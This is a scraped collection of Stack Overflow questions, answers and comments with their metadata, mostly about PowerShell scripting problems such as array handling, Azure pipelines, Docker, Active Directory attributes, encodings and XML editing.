has body: The error message implies that your session runs in ConstrainedLanguage mode (see the about_Language_Modes help topic). However, the error message is indicative of a bug, present in Windows PowerShell as well as in PowerShell (Core) 7 as of v7.5.0: You should be able to use a [pscustomobject] cast in order to construct an instance in constrained language mode, given that the type itself (aka [psobject]) is supported in this mode: See GitHub issue #20767. Workaround: Use New-Object rather than a cast to construct your [pscustomobject] instance: # ... $entry = [ordered] @{ LastName = $Line.Substring(18, 40).Trim() FirstName = $Line.Substring(58, 40).Trim() Birthdate = $Line.Substring(128, 10).Trim() } New-Object pscustomobject -Property $entry # ... Note the use of [ordered], i.e. of an ordered hashtable, so as to guarantee that the properties are created in definition order.
upvote count: 2

http://stackoverflow.com/q/79379401
upvote count: 1
has title: SecurityError in PS terminal when Running AWS Amplify app
type: UnansweredQuestion
score: 1
favorite count: 0
has body: I'm new to Amplify and currently following an AWS tutorial on building a Flutter mobile app using Amplify. When I tried to run the amplify init statement for the first time, when the tutorial told me to, I received the following error. C:\Users\username\AppData\Roaming\npm\amplify.ps1 is not digitally signed. You cannot run this script on the current system. For more information about running scripts and setting execution policy, see about_Execution_Policies at https:/go.microsoft.com/fwlink/?LinkID=135170. At line:1 char:1 + amplify init + ~~~~~~~ + CategoryInfo : SecurityError: (:) [], PSSecurityException + FullyQualifiedErrorId : UnauthorizedAccess PS D:\FlutterApps\amplify_trips_planner&gt; I looked through the article linked in the message but couldn't find or at least didn't recognize anything similar to the error message I was given. Let me know what else I need to share.
tagged with: aws-amplify-cli
type: Question
has answer: http://stackoverflow.com/a/79379446
downvote count: 0
answer count: 1
linked to: http://stackoverflow.com/q/4037939
tagged with: flutter-aws-amplify
tagged with: powershell

http://stackoverflow.com/a/79330051
type: Answer
upvote count: 2
has comment: http://stackoverflow.com/comment/139891712
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/79330030
score: 2
has comment: http://stackoverflow.com/comment/139891707
downvote count: 0
has body: PowerShell's polymorphic + operator, when applied to arrays, performs flat array concatenation. That is, if the RHS is an array too, its elements are "appended" to the LHS array, not the RHS array as a whole, as a single element. Therefore, $row = @(6.00, "First", "Normal", 20, "") $details += $row does not "append"[1] the array stored in $row as a single element to the $details array, but appends $row's elements, one by one. A simple demonstration: $array = @('foo') $array += @('bar', 'baz') # -> @('foo', 'bar', 'baz') Use the unary form of , the array constructor ("comma") operator in order to add an array as a single element to a given array, i.e. as a nested array: $details = @() $row = @(6.00, "First", "Normal", 20, "") $details += , $row $details[0][0] # -> 6.00 [1] Technically, because .NET arrays are fixed-size data structures, you can not append to them (change their size). What + does in PowerShell is to create a new array behind the scenes, comprising the LHS elements as well as the RHS ones. Also note that this implies that using += in a loop with many iterations is therefore best avoided so as to avoid performance problems; see this answer for details.
accepted answer of: http://stackoverflow.com/q/79330030

http://stackoverflow.com/comment/139996699
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79384020
type: AnswerComment
has text: thank you for the response! this unfortunately created a new folder in the individual folder, and didn't post it into the existing folder with the matching unique ID. this will be helpful for when I do need to create new folders however. thank you again!

http://stackoverflow.com/comment/140012064
has text: Start by printing the robocopy command with all the parameters, and examine if the generated command is right.
comment on: http://stackoverflow.com/q/79393374
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/q/79364993
tagged with: powershell
answer count: 1
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/79367318
tagged with: dockerfile
accepted answer: http://stackoverflow.com/a/79367318
has body: I am building a Dockfile and I used this as the file contents: FROM ubuntu:20.04 FROM python:3.10.13 FROM pytorch/pytorch:2.1.0-cuda12.1-cudnn8-runtime WORKDIR / COPY . . RUN apt update RUN apt install -y git RUN pip install jupyter RUN pip install transformers EXPOSE 8888 ENV NAME World CMD ["jupyter", "notebook", "--ip=0.0.0.0", "--port=8888", "--no-browser", "--allow-root"] I am using Windows 11 and Windows Subsystem for Linux (WSL). I used this command to create the Docker Image: docker build -t nlp_python:latest . When I didn't include --gpus all it did not run with the GPU when I tested it in the Jupyter Notebook so then I ran the following command: What worked docker run --gpus all -it -p 8888:8888 nlp_python:latest My Question Does what worked create a new container each time or is there a modification of that command that I can use the container that it previously created called gracious_feistel? I am expecting to use to the same container each time that I run the command through PowerShell. What resulted from this command was it created a new container which I am trying to avoid.
has comment: http://stackoverflow.com/comment/139960903
score: 0
linked to: http://stackoverflow.com/q/39666950
has comment: http://stackoverflow.com/comment/139959383
tagged with: docker
type: Question
has comment: http://stackoverflow.com/comment/139960932
has title: Launching Docker with GPU Usage and JupyterNotebook

http://stackoverflow.com/comment/139771043
type: AnswerComment
comment on: http://stackoverflow.com/a/79260271
type: Comment
score: 1
has text: @mklement0 , I have updated the answer. Thanks again, I learned two new things about PowerShell and regexes today from your comment (`(?:...)`) and answer ((`$&`).

http://stackoverflow.com/q/79297824
type: AnsweredQuestion
has body: I'm trying to deploy my Bicep modules published in an Azure Container Registry, but I'm encountering issues when using my service connection. It works fine locally with my own user account, but the service connection, which has the AcrPull role on the container registry, is failing. I'm receiving the following error: Deploying stack [] failed. Retrying in 10 seconds... WARNING: Cannot retrieve the dynamic parameters for the cmdlet. /home/vsts/work/1/s//////*/.//.bicep/.bicep(37,13) : Error BCP192: Unable to restore the artifact with reference "br:.azurecr.io////**.bicep:20241000.30": Unhandled exception: Azure.Identity.CredentialUnavailableException: The ChainedTokenCredential failed to retrieve a token from the included credentials. Please run 'az login' to set up account Please run 'Connect-AzAccount' to set up account. ---> System.AggregateException: Multiple exceptions were encountered while attempting to authenticate. (Please run 'az login' to set up account) (Please run 'Connect-AzAccount' to set up account.) ---> Azure.Identity.CredentialUnavailableException: Please run 'az login' to set up account at Azure.Identity.AzureCliCredential.RequestCliAccessTokenAsync(Boolean async, TokenRequestContext context, CancellationToken cancellationToken) at Azure.Identity.AzureCliCredential.GetTokenImplAsync(Boolean async, TokenRequestContext requestContext, CancellationToken cancellationToken) at... My pipeline job looks like this: stages: - stage: CD jobs: - job: Deployment steps: - checkout: self - checkout: governance fetchDepth: 2 - task: AzurePowerShell@5 displayName: "Deploy Deployment Stacks" inputs: azureSubscription: service-conn ScriptType: FilePath ScriptPath: $(Build.SourcesDirectory)/***/**.ps1 ScriptArguments: -RegistryName "***" -Verbose -InformationAction 'Continue' FailOnStandardError: true errorActionPreference: stop azurePowerShellVersion: LatestVersion pwsh: true env: SYSTEM_ACCESSTOKEN: $(System.AccessToken) And I have tried running both in my script:…
tagged with: azure-pipelines
score: 0
tagged with: powershell
tagged with: azure
has title: Pull bicep modules from ACR to consume using AzurePowershell@5 task in Azure pipeline
has answer: http://stackoverflow.com/a/79450563
accepted answer: http://stackoverflow.com/a/79450563
answer count: 2
has answer: http://stackoverflow.com/a/79326081
tagged with: azure-container-registry
possible better answer: http://stackoverflow.com/a/79326081
type: Question
has comment: http://stackoverflow.com/comment/139880263
tagged with: azure-devops
has comment: http://stackoverflow.com/comment/139880204

http://stackoverflow.com/q/79334181
has comment: http://stackoverflow.com/comment/139899453
has comment: http://stackoverflow.com/comment/139899487
tagged with: azure
has comment: http://stackoverflow.com/comment/139899542
type: UnansweredQuestion
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/139899426
has title: Update Azure application with permission from Office 365 Management API using PowerShell
has answer: http://stackoverflow.com/a/79334293
favorite count: 0
has body: I'm looking to update my Azure application with a permission from the Office 365 Management API using PowerShell. Here is the permission in Azure for reference: Here is my current code on how I'm trying to accomplish this in PowerShell: $appName = "test for office 365" $App = New-MgApplication -DisplayName $AppName New-MgServicePrincipal -AppId $App.AppId $app = Get-MgApplication -Filter "DisplayName eq '$appName'" $office365AppId = "c5393580-f805-4401-95e8-94b7a6ef2fc2" $office365ServicePrincipal = Get-MgServicePrincipal -Filter ("appId eq '" + $office365AppId + "'") -ErrorAction Stop $office365AppPermissions = $office365ServicePrincipal.AppRoles $appServicePrincipal = Get-MgServicePrincipal -Filter "DisplayName eq '$appName'" $resourceAccessOffice365 = @() $Office365Scopes = @( 'ActivityFeed.Read' ) foreach($scope in $Office365Scopes) { $permission = $office365AppPermissions | Where-Object { $_.Value -eq $scope } if ($permission) { $resourceAccessOffice365 += @{ Id = $permission.Id; Type = "Role"} } else { Write-Host -ForegroundColor Red "Invalid scope:" $scope Exit } } Update-MgApplication -ApplicationId $app.Id -RequiredResourceAccess ` @{ ResourceAppId = $office365AppId; ResourceAccess = $resourceAccessOffice365 } -ErrorAction Stop Everything seems to work up until the last command Update-MgApplication. I know this works for the Graph API, but not the Office 365 Management API. So I believe I'm looking for the command that allows me to update the Azure Application for the Office 365 API. If you have any other suggestions for how I would perform this, please let me know. Thank you.
type: Question
has comment: http://stackoverflow.com/comment/139899409
answer count: 1
linked to: http://stackoverflow.com/q/78738458
tagged with: office365
has comment: http://stackoverflow.com/comment/139899320
has comment: http://stackoverflow.com/comment/139899368
downvote count: 0
tagged with: powershell

http://stackoverflow.com/q/79382760
has title: Dialog stuck with the named pipe of a VM redirecting the COM port of the SAC console (EMS):why?
tagged with: .net
answer count: 1
has body: The context: I want to implement the SAC console (EMS) to take control of a VM (outside Azure). This VM boots into my W11PRO 22H2 machine that uses HyperV. Due to the many boots during my tests, this VM uses a VHD containing a simple Winpe and not a W11 which is too big. This Winpe is of the "Flat" type to be able to make some file modifications including the BCD to activate the SAC console. In Winpe, the driver and service used by SAC are present. However, you have to add the name of the service "sacsvr" in the value (multi-string) describing "netsvcs": HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost netsvcs Reg_Multi_SZ -> add sacsvr To generate a Winpe of type "Flat", simply apply the command based on "dism /Apply boot.wim...". But you can do the same test with a normal windows in the VHD. To activate the SAC console, you need to change the BCD of the VHD. These few links provide, if necessary, useful information on the context: https://learn.microsoft.com/fr-fr/previous-versions/windows/it-pro/windows-server-2003/cc784221(v=ws.10) https://nixhacker.com/setting-up-and-playing-with-ems-sac/ The indications of MS must be followed: . modify the BCD of the VHD to activate the SAC console (..."EMS ON") . define in the BCD the parameters of the COM port used by SAC . in the HyperV VM settings, you have to define the COM port as a "named pipe" a PowerShell script to communicate with the SAC console I was unable to use PuTTY to communicate with the SAC console. The PuTTY parameters proposed by the second link do not allow the connection with SAC without me understanding why. So I tried to write a simple PS script. The SAC console dialog is based on VT100. The console's "SAC>" prompt does not end with "CR/LF". The commands to read/write a line of text in the named pipe do not work correctly. So I use the "named pipe" APIs manipulating bytes. I reduced the display part to a simple byte counter so as not to include the character conversion problems a…
tagged with: powershell
score: 0
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/79386846
tagged with: windows
type: Question

http://stackoverflow.com/a/79326556
type: Answer
score: 0
answers question: http://stackoverflow.com/q/79325779
has body: If you want to have a CSV with a single header (msExchExtensionCustomAttribute2), you'll need to create a convert the value of the extension attribute from a collection into a multi-line string (-join can be used for this). This example uses a calculated property to create a new object with the calculated value: Get-ADUser -identity test -properties msExchExtensionCustomAttribute2 | # -join "`n" joins all values by a new-line creating a multi-line string Select-Object @{ N = 'msExchExtensionCustomAttribute2'; E = { $_.msExchExtensionCustomAttribute2 -join "`n" }} | Export-Csv -Path c:\temp\test.csv -NoTypeInformation The issue with this approach is that it will put all values in a single cell in, perhaps for a CSV it might be better to have each value in each cell, for that you can use a loop instead: (Get-ADUser -identity test -properties msExchExtensionCustomAttribute2).msExchExtensionCustomAttribute2 | ForEach-Object { [pscustomobject]@{ msExchExtensionCustomAttribute2 = $_ } } | Export-Csv -Path c:\temp\test.csv -NoTypeInformation Otherwise, the simplest can be to not use Export-Csv and just export all values to a plain text value, so here you just replace Export-Csv for Set-Content: Get-ADUser -identity test -properties msExchExtensionCustomAttribute2 | Select-Object -ExpandProperty msExchExtensionCustomAttribute2 | Set-Content -Path c:\temp\test.txt

http://stackoverflow.com/comment/139904430
type: AnswerComment
type: Comment
has text: And you can test it with `rename-item -NewName { $_.Name + '.jpeg' } -whatif`
comment on: http://stackoverflow.com/a/79336107
score: 0

http://stackoverflow.com/q/79328708
has answer: http://stackoverflow.com/a/79330204
accepted answer: http://stackoverflow.com/a/79328937
possible better answer: http://stackoverflow.com/a/79330204
favorite count: 0
has answer: http://stackoverflow.com/a/79328937
type: Question
linked to: http://stackoverflow.com/q/59110563
has title: correct way to Import database dump in PowerShell
downvote count: 0
tagged with: powershell
type: AnsweredQuestion
tagged with: utf-8
score: 1
has body: Importing a database dump using cmd works properly: tar -xf dump.zip mysql.exe --user=Username --passsword=Password Database &lt; dump.sql when I try something similar in a PoweShell Expand-Archive -Path dump.zip Get-Content dump.sql | mysql.exe --user-Username --password=Password Database the file gets imported but utf-8 characters in the data in the dump file are not imported as such (resulting in '??' in the data). I'm using Get-Content here as the &lt; is currently not supported in PowerShell. If I open the dump.sql file in an editor (Notepad++) it seems to be in utf-8 format. What would be the correct way to import the dump file? The dump file created in mariadb 10.6.18 contains the proper settings: In the preamble: /*!40101 SET NAMES utf8mb4 */; Befor each table: /*!40101 SET character_set_client = utf8 */; Imported is in mariadb 10.6.18 The results of tar -xf and Expand-Archive are identical.
upvote count: 1
answer count: 2

http://stackoverflow.com/comment/139835634
score: 1
comment on: http://stackoverflow.com/q/79291780
has text: , @Daniel, but don't sell yourself short: I've seen you post helpful comments many times. If the situation warrants, I encourage you to flesh them out into full answers. In the absence of other answers, even an answer that falls a bit short - while acknowledging its limitations - is preferable to having no answer at all. If an answer is close enough in the eyes of others, their comments may help you get to providing a complete answer.
type: QuestionComment
type: Comment

http://stackoverflow.com/q/79278800
tagged with: microsoft-fabric
has body: So we want to do this, but it's not supported. So we must pursue a alternative solution. Optimally this would something that could be run from SQL Server directly with minimal external code possible. I would like a powershell script that allows me to run a large MDX statement against a cube in a Fabric Workspace. I would like to be able to call that script directly from a T-SQL proc in SQL Server 2022 and would support the return of a result set consistent with the same cube running the same MDX statement on a traditional Analysis Service instance.(Same column names, formatting, etc..) It's critical that this script supports MDX statements larger than 8000 characters and can return (and SQL Server can use) large result sets. The initial research I've done indicates that this is a non-trivial challenge (see above link for the first problem), I'm not the first person to ask for this, but I haven't seen anything that does this directly. It would be nice to have a community contributed answer that other people could use, if there isn't one or if the community can't do this I will post my solution and allows other to improve upon it.
has comment: http://stackoverflow.com/comment/139799754
answer count: 0
tagged with: mdx
tagged with: sql-server
tagged with: powershell
type: UnansweredQuestion
has title: Alternative PowerShell Solution To Running MDX on a Power Bi Semantic Model Hosted In A Fabric Workspace
has comment: http://stackoverflow.com/comment/139799629
score: 0
has comment: http://stackoverflow.com/comment/139799438
has comment: http://stackoverflow.com/comment/139799521
type: Question

http://stackoverflow.com/q/79399751
upvote count: 0
tagged with: git
score: -1
type: UnansweredQuestion
favorite count: 0
has title: Delete .git in Windows
has body: So I did "git init" in the wrong folder and now want to undo it (I want to do it in a subfolder of the current folder). Like I want to delet the hidden .git folder. I already searched for some solution like "rm -rf .git" or "rmdir .git" but this does not work. (even in the administrator PowerShell) When I do "rmdir .git" there is an error "Permission Denied". I also tried it in administrator powershell but i get the same error. .git\hooks cannot be removed: You do not have sufficient access rights to perform this operation. In line:1 Character:1 + rmdir .git + ~~~~~~~~~~ + CategoryInfo : PermissionDenied: (hooks:DirectoryInfo) [Remove-Item], IOException + FullyQualifiedErrorId : RemoveFileSystemItemUnAuthorizedAccess,Microsoft.PowerShell.Commands.RemoveItemCommand rmdir : The element C:\Users\...\.git\info cannot be be removed: You do not have sufficient access permissions to perform this operation. In line:1 Character:1 It is also strange that when i enter "git status" it shows that it is not a git repository? But when I list the hidden folder "ls -Hidden" then there is a folder named .git?? git status fatal: not a git repository (or any of the parent directories): .git ls -Hidden Mode LastWriteTime Length Name ---- ------------- ------ ---- darh-l 30.01.2025 10:25 .git cd .git ls Mode LastWriteTime Length Name ---- ------------- ------ ---- dar--l 30.01.2025 10:25 hooks dar--l 30.01.2025 10:25 info dar--l 30.01.2025 10:23 objects dar--l 30.01.2025 10:23 refs Thanks in advance.
has comment: http://stackoverflow.com/comment/140024462
has comment: http://stackoverflow.com/comment/140024261
type: Question
has answer: http://stackoverflow.com/a/79399776
tagged with: powershell
answer count: 1
downvote count: 1

http://stackoverflow.com/q/79296931
tagged with: powershell
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139836638
linked to: http://stackoverflow.com/q/41335199
score: 0
linked to: http://stackoverflow.com/q/57131654
tagged with: windows
type: Question
tagged with: visual-studio
has body: If I try to run dotnet build from Powershell inside Visual Studio I get and error that access to the path is denied. If I run the same command in Powershell outside Visual Sudio the command works normally. The issue seems to be that Powershell ignores a special character in my useraname and REPLACES š with s. If I print out env variables I can see the difference. Visual Studio Powershell Powershell I tried to run the same powershell that is specified in VS developer console profile, but there is always a difference between the one run by Visual Studio or not. How to force Visual Studio to respect my ENV VARs as they are ? I cannot change my user folder (company computer with limitations). EDIT: I found out that the problem is not with the PowerShell, but rather Developer PowerShell. The arguments when the Powershell is run in Visual Studio are like that: -NoExit -Command "& { Import-Module """$env:VSAPPIDDIR\..\Tools\Microsoft.VisualStudio.DevShell.dll"""; Enter-VsDevShell -SkipAutomaticLocation -SetDefaultWindowTitle -InstallPath $env:VSAPPIDDIR\..\..\}" I enabled the Beta: Use Unicode UTF-8 for worldwide language support as I saw it here and this seems to fix the issue with the Developer Powershell. I need to test it more thoroughtly, because it may come with some caveats.
answer count: 0
has comment: http://stackoverflow.com/comment/139832644
has title: Developer Powershell in Visual Studio ignores special char in user variables
has comment: http://stackoverflow.com/comment/139832548

http://stackoverflow.com/q/79263318
tagged with: windows
type: Question
answer count: 0
downvote count: 0
tagged with: powershell
has title: Build a hierarchy of Windows features for Windows 10 and 11 using PowerShell
tagged with: dism
favorite count: 0
has comment: http://stackoverflow.com/comment/139772602
has body: NOTE: This question is specifically about Windows 10 and 11, not Windows Server. To get a list of Windows features on a given Windows 10 or 11 machine I know I have to use Get-WindowsOptionalFeature -Online in the DISM module. Is there any way to determine the parent-child relationships of the features though? For example, on my machine .NET Framework 4.8 Advanced Services is a top-level feature, which has WCF Services as a child, and that in turn has HTTP Activation as a child: If I look at the results of Get-WindowsOptionalFeature -Online for each of these features, this is what I see: $features = @('NetFx4-AdvSrvs', 'WCF-Services45', 'WCF-HTTP-Activation45') $features | Get-WindowsOptionalFeature -Online -FeatureName { $_ } The yellow arrows highlight the display names of the features, which match the names in the Windows Features dialog. The red arrows highlight the ServerComponent\Parent custom properties of each feature, which seem like the only possibility for creating a feature hierarchy. However, the values for the ServerComponent\Parent properties don't match the actual feature names of the parent features. Is there some other way of determining the Windows 10 or 11 feature hierarchy in PowerShell?
type: UnansweredQuestion
score: 1
has comment: http://stackoverflow.com/comment/139773114
upvote count: 1

http://stackoverflow.com/comment/139759228
type: AnswerComment
type: Comment
has text: no, i dont see it via public APIs @alx9r
score: 1
comment on: http://stackoverflow.com/a/79256609

http://stackoverflow.com/a/79415945
type: AcceptedAnswer
type: Answer
score: 2
downvote count: 1
upvote count: 3
has body: First consideration is that .Replace is a string method for literal replacements, it doesn't work with regex. What you want to use is -replace, the regex operator for replacements. As for how you could approach the problem, since is could be quoted or not and it could be anywhere, including the beginning or end of a string, probably the easiest way to approach it is by splitting on , then filtering where the token doesn't match ^"?is"?$ (-notmatch, just like the other comparison operators, can act as a filter when there is a collection on the left-hand side) and lastly joining back with ,: 'is,"this","is","a","test",is' -split ',' -notmatch '^"?is"?$' -join ',' # Outputs: "this","a","test" If you wanted to do it via replacement, you could perhaps use this pattern however I don't see a way to do it in one go (it requires a TrimEnd): $result = 'is,"this","is","a","test",is' -replace '(?<=(?:^|,))"?is"?(?:,|$)' $result.TrimEnd(',')
accepted answer of: http://stackoverflow.com/q/79415674
answers question: http://stackoverflow.com/q/79415674

http://stackoverflow.com/q/79359466
score: 3
linked to: http://stackoverflow.com/q/77552553
upvote count: 3
has comment: http://stackoverflow.com/comment/139948151
has answer: http://stackoverflow.com/a/79359553
favorite count: 0
has comment: http://stackoverflow.com/comment/139948173
accepted answer: http://stackoverflow.com/a/79359553
has title: How to append XML elements with Attributes using Powershell
answer count: 2
tagged with: xml-parsing
has answer: http://stackoverflow.com/a/79359542
possible better answer: http://stackoverflow.com/a/79359542
type: Question
downvote count: 0
linked to: http://stackoverflow.com/q/68083326
has body: My XML has elements like: <?xml version="1.0" encoding="utf-8"?> C:\Users\bob\AppData\Roaming\Software\21\ False True Tool Set 1.btx <Title>Tool Set 1 My Tool Set.btx <Title>My Tool Set . I need to append 3 new ToolSets to the tree. I can't figure out how to select the element Record Key = "ToolSetManager" to so I can append data to that particular element. My code: $xml = [xml](Get-Content "$env:appdata\software\21\UserPreferences.xml") #Loop to find the Element with the Key "ToolSetManager" #Hopefully there is a simpler/direct way to get here? $allRecordKeys = $xml.UserPreferences.Record.key foreach ($Key in $allRecordKeys) { if ($Key -eq "ToolSetManager") { $newElement1 = $xml.CreateElement("ToolSet") $newElement1.SetAttribute("Path", "Null.btx") $newElement1.SetAttribute("Title", "Null") # This is where I can't figure out what should go before the .appendChild...: $xml.RevuUserPreferences.Record.ToolSetManager.AppendChild($newElement1) $xml.save("$env:appdata\software\21\UserPreferences.xml") } }
tagged with: powershell
type: AnsweredQuestion

http://stackoverflow.com/comment/140078232
comment on: http://stackoverflow.com/q/79416406
has text: @mklement0 I just updated the question and provided some indentations and examples of the 2 properties. Does this help?
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/q/79292138
tagged with: powershell
has answer: http://stackoverflow.com/a/79292363
has title: Empty path name is not legal - DTEXEC with Powershell
type: AnsweredQuestion
tagged with: dtexec
accepted answer: http://stackoverflow.com/a/79292363
favorite count: 0
tagged with: ssis
upvote count: 1
score: 1
has body: I'm trying to run a DTSX with Powershell on a remote server from my local computer, but the file path variables aren't arriving in the DTSX execution so I'm getting the error "Empty path name is not legal." Here's an example of the command I run: $server = "server name" $credential = Get-Credential $command = @' "G:\Program Files\Microsoft SQL Server\160\DTS\Binn\DTExec.exe" /F "G:\insert-data.dtsx" ^ /SET \Package.Variables[User::file_data].Value;"\\servername\data.csv" ^ /SET \Package.Variables[User::file_log].Value;"G:\insert_data_log.txt" ^ /SET \Package.Variables[User::db_destination_server].Value;"servername" ^ /SET \Package.Variables[User::db_destination_name].Value;"dbname" ^ /SET \Package.Variables[User::db_destination_user].Value;"username" ^ /SET \Package.Variables[User::db_destination_password].Value;"pass" ^ /SET \Package.Variables[User::db_destination_table].Value;"tablename" ^ /SET \Package.Variables[User::days].Value;1 '@ Invoke-Command -ComputerName $server -Credential $credential -ScriptBlock { param($cmd) try { Start-Process -FilePath "cmd.exe" -ArgumentList "/c `"$cmd`"" -NoNewWindow -Wait -RedirectStandardOutput "C:\Temp\command_output.txt" -RedirectStandardError "C:\Temp\command_error.txt" } catch { $_ | Out-File -FilePath "C:\Temp\remote_command_error.txt" } } -ArgumentList $command The file_log variable is used by my "Start LOG" task and arrives empty when executing the process. This is the error I'm getting: Microsoft (R) SQL Server Execute Package Utility Version 16.0.4085.2 for 64-bit Copyright (C) 2022 Microsoft. All rights reserved. Started: 12:58:39 Progress: 2024-12-18 12:58:40.81 Source: Data Flow Task Validating: 0% complete End Progress Progress: 2024-12-18 12:58:40.95 Source: Data Flow Task Validating: 100% complete End Progress Error: 2024-12-18 12:58:41.50 Code: 0x00000001 Source: Start LOG Description: Empty path name is not legal. End Error Warning: 2024-12-18 12:58:41.50 Code: 0x80019002 Source: insert_data_mambu Description: …
type: Question
tagged with: dts
downvote count: 0
answer count: 1
tagged with: remote-server

http://stackoverflow.com/comment/140047568
has text: Perhaps then store the `$PSCommandPath` in an environment variable at the beginning of the main script and have the imported function use that ?
type: Comment
comment on: http://stackoverflow.com/a/79401260
score: 1
type: AnswerComment

http://stackoverflow.com/a/79343934
has comment: http://stackoverflow.com/comment/139946552
has body: According to New-AzResourceGroupDeployment's documentation, -TemplateParameterObject must be an Hashtable: New-AzResourceGroupDeployment # ... -TemplateParameterObject <Hashtable> So instead of: - task: AzurePowerShell@5 displayName: "Create Web Apps" inputs: azureSubscription: 'XXX' ScriptType: 'InlineScript' azurePowerShellVersion: 'LatestVersion' pwsh: true Inline: | # Define variables $ARMTemplateFile = "$(Build.Repository.LocalPath)\ARM-Templates\WebApps.json" $ResourceGroupName = "XXX" # Use Azure PowerShell to deploy the ARM template New-AzResourceGroupDeployment -ResourceGroupName $ResourceGroupName ` -TemplateFile $ARMTemplateFile ` -TemplateParameterObject @{ "EnvironmentVariables" = $(VariablesObject1) } Try converting the JSON string to a hashtable: - task: AzurePowerShell@5 displayName: "Create Web Apps" inputs: azureSubscription: 'XXX' ScriptType: 'InlineScript' azurePowerShellVersion: 'LatestVersion' errorActionPreference: 'silentlyContinue' Inline: | # Define variables $ARMTemplateFile = "$(Build.Repository.LocalPath)\ARM-Templates\WebApps.json" $ResourceGroupName = "XXX" $WebAppEnvironmentVariables = $env:MyVariables | ConvertFrom-Json -AsHashtable # Use Azure PowerShell to deploy the ARM template New-AzResourceGroupDeployment -ResourceGroupName $ResourceGroupName ` -TemplateFile $ARMTemplateFile ` -TemplateParameterObject @{ "EnvironmentVariables" = $WebAppEnvironmentVariables } env: MyVariables: $(VariablesObject1) # <-------------------- from variable group Note: I'm setting a task-level environment variable to avoid escaping issues.
downvote count: 0
has comment: http://stackoverflow.com/comment/139946304
type: Answer
has comment: http://stackoverflow.com/comment/139946540
has comment: http://stackoverflow.com/comment/140008495
has comment: http://stackoverflow.com/comment/139970896
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/79343590

http://stackoverflow.com/comment/139767722
score: 1
type: AnswerComment
has text: My _guess_ is: while events are queued in principle, the associated process _terminating_ results in the queued event's instant removal, which may happen between polling intervals.
comment on: http://stackoverflow.com/a/79258729
type: Comment

http://stackoverflow.com/a/79307730
has comment: http://stackoverflow.com/comment/139851684
has comment: http://stackoverflow.com/comment/139852210
downvote count: 0
has comment: http://stackoverflow.com/comment/139852435
has comment: http://stackoverflow.com/comment/139851673
has comment: http://stackoverflow.com/comment/139851928
has comment: http://stackoverflow.com/comment/139852302
type: Answer
answers question: http://stackoverflow.com/q/79307726
has comment: http://stackoverflow.com/comment/139851679
has comment: http://stackoverflow.com/comment/139851862
has comment: http://stackoverflow.com/comment/139851967
has comment: http://stackoverflow.com/comment/139851947
has comment: http://stackoverflow.com/comment/139851331
has body: PowerShell is indeed your best bet, and while you cannot directly use PowerShell commands from cmd.exe / a batch file, you can pass them to powershell.exe, the Windows PowerShell CLI (the solutions below also work on the no longer supported Windows 7 edition of Windows, as requested). Preface: If your file is created with Windows PowerShell code, as seems to be the case, you can avoid your problem altogether, by writing a BOM-less UTF-8 file to begin with, using one of the workarounds summarized in this answer in lieu of Out-File -Encoding utf8 In PowerShell (Core) 7, the problem wouldn't even arise, because there all cmdlets consistently default to BOM-less UTF-8; however, this - install-on-demand - PowerShell edition isn't supported on Windows 7. The solutions below address your question as asked: How to remove a UTF-8 BOM after the fact, from an existing file, relying on Windows PowerShell, the legacy Windows-only edition of PowerShell whose latest and last version is 5.1, which ships with Windows since Windows 7 / Windows Server 2008 R2.[1] Additionally, the use case of transcoding the input file, i.e. saving it with a different character encoding is addressed. Here's a sample batch file that demonstrates a solution, i.e. it converts a UTF-8 file with BOM to a BOM-less one in-place (best to make a backup copy first): @echo off & setlocal :: Specify the input file, assumed to be a UTF-8 file *with-BOM*. set "targetFile=%CD%\MyFile.txt" :: Call Windows PowerShell in order to :: convert the file to a *BOM-less** UTF-8 file. powershell -noprofile -c $null = New-Item $env:targetFile -Force -Value (Get-Content -Raw -LiteralPath $env:targetFile) Note: The -c (-Command) and -noprofile CLI parameters aren't strictly necessary, but are included for conceptual clarity and to avoid unnecessary processing of profile files. Alternatively, using the [IO.File]::WriteAllText() .NET API: :: ... powershell -noprofile -c [IO.File]::WriteAllText((Convert-Path -LiteralPath $env:targe…
has comment: http://stackoverflow.com/comment/139852409
has comment: http://stackoverflow.com/comment/139853054
has comment: http://stackoverflow.com/comment/139853044
has comment: http://stackoverflow.com/comment/139851937
accepted answer of: http://stackoverflow.com/q/79307726
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/139851894
has comment: http://stackoverflow.com/comment/139851828
has comment: http://stackoverflow.com/comment/139851886
has comment: http://stackoverflow.com/comment/139852241
has comment: http://stackoverflow.com/comment/139852433
has comment: http://stackoverflow.com/comment/139852222
has comment: http://stackoverflow.com/comment/139852472
has comment: http://stackoverflow.com/comment/139851274
has comment: http://stackoverflow.com/comment/139852502
has comment: http://stackoverflow.com/comment/139855969
has comment: http://stackoverflow.com/comment/139852272
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/139851926
has comment: http://stackoverflow.com/comment/139852199
has comment: http://stackoverflow.com/comment/139851845
has comment: http://stackoverflow.com/comment/139852540
has comment: http://stackoverflow.com/comment/139853316

http://stackoverflow.com/q/79326018
has comment: http://stackoverflow.com/comment/139884446
downvote count: 0
answer count: 1
has comment: http://stackoverflow.com/comment/139885421
has body: I am failing to update the multi-valued attribute msExchExtensionCustomAttribute2 of a single user through powershell via: foreach ($i in (get-content c:\temp\test.txt)) { Set-ADUser "test" -add @{msExchExtensionCustomAttribute2 = $i} } Error Message: Set-ADUser : Invalid type 'System.Management.Automation.PSObject'. Parameter name: msExchExtensionCustomAttribute2 At line:3 char:1 + Set-ADUser "test" -add @{msExchExtensionCustomAttribute2 = $i} + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : InvalidArgument: (test:ADUser) [Set-ADUser], ArgumentException + FullyQualifiedErrorId : ActiveDirectoryCmdlet:System.ArgumentException,Microsoft.ActiveDirectory.Management.Commands.SetADUser The test.csv file contains more than 20 records
has comment: http://stackoverflow.com/comment/139884315
tagged with: powershell
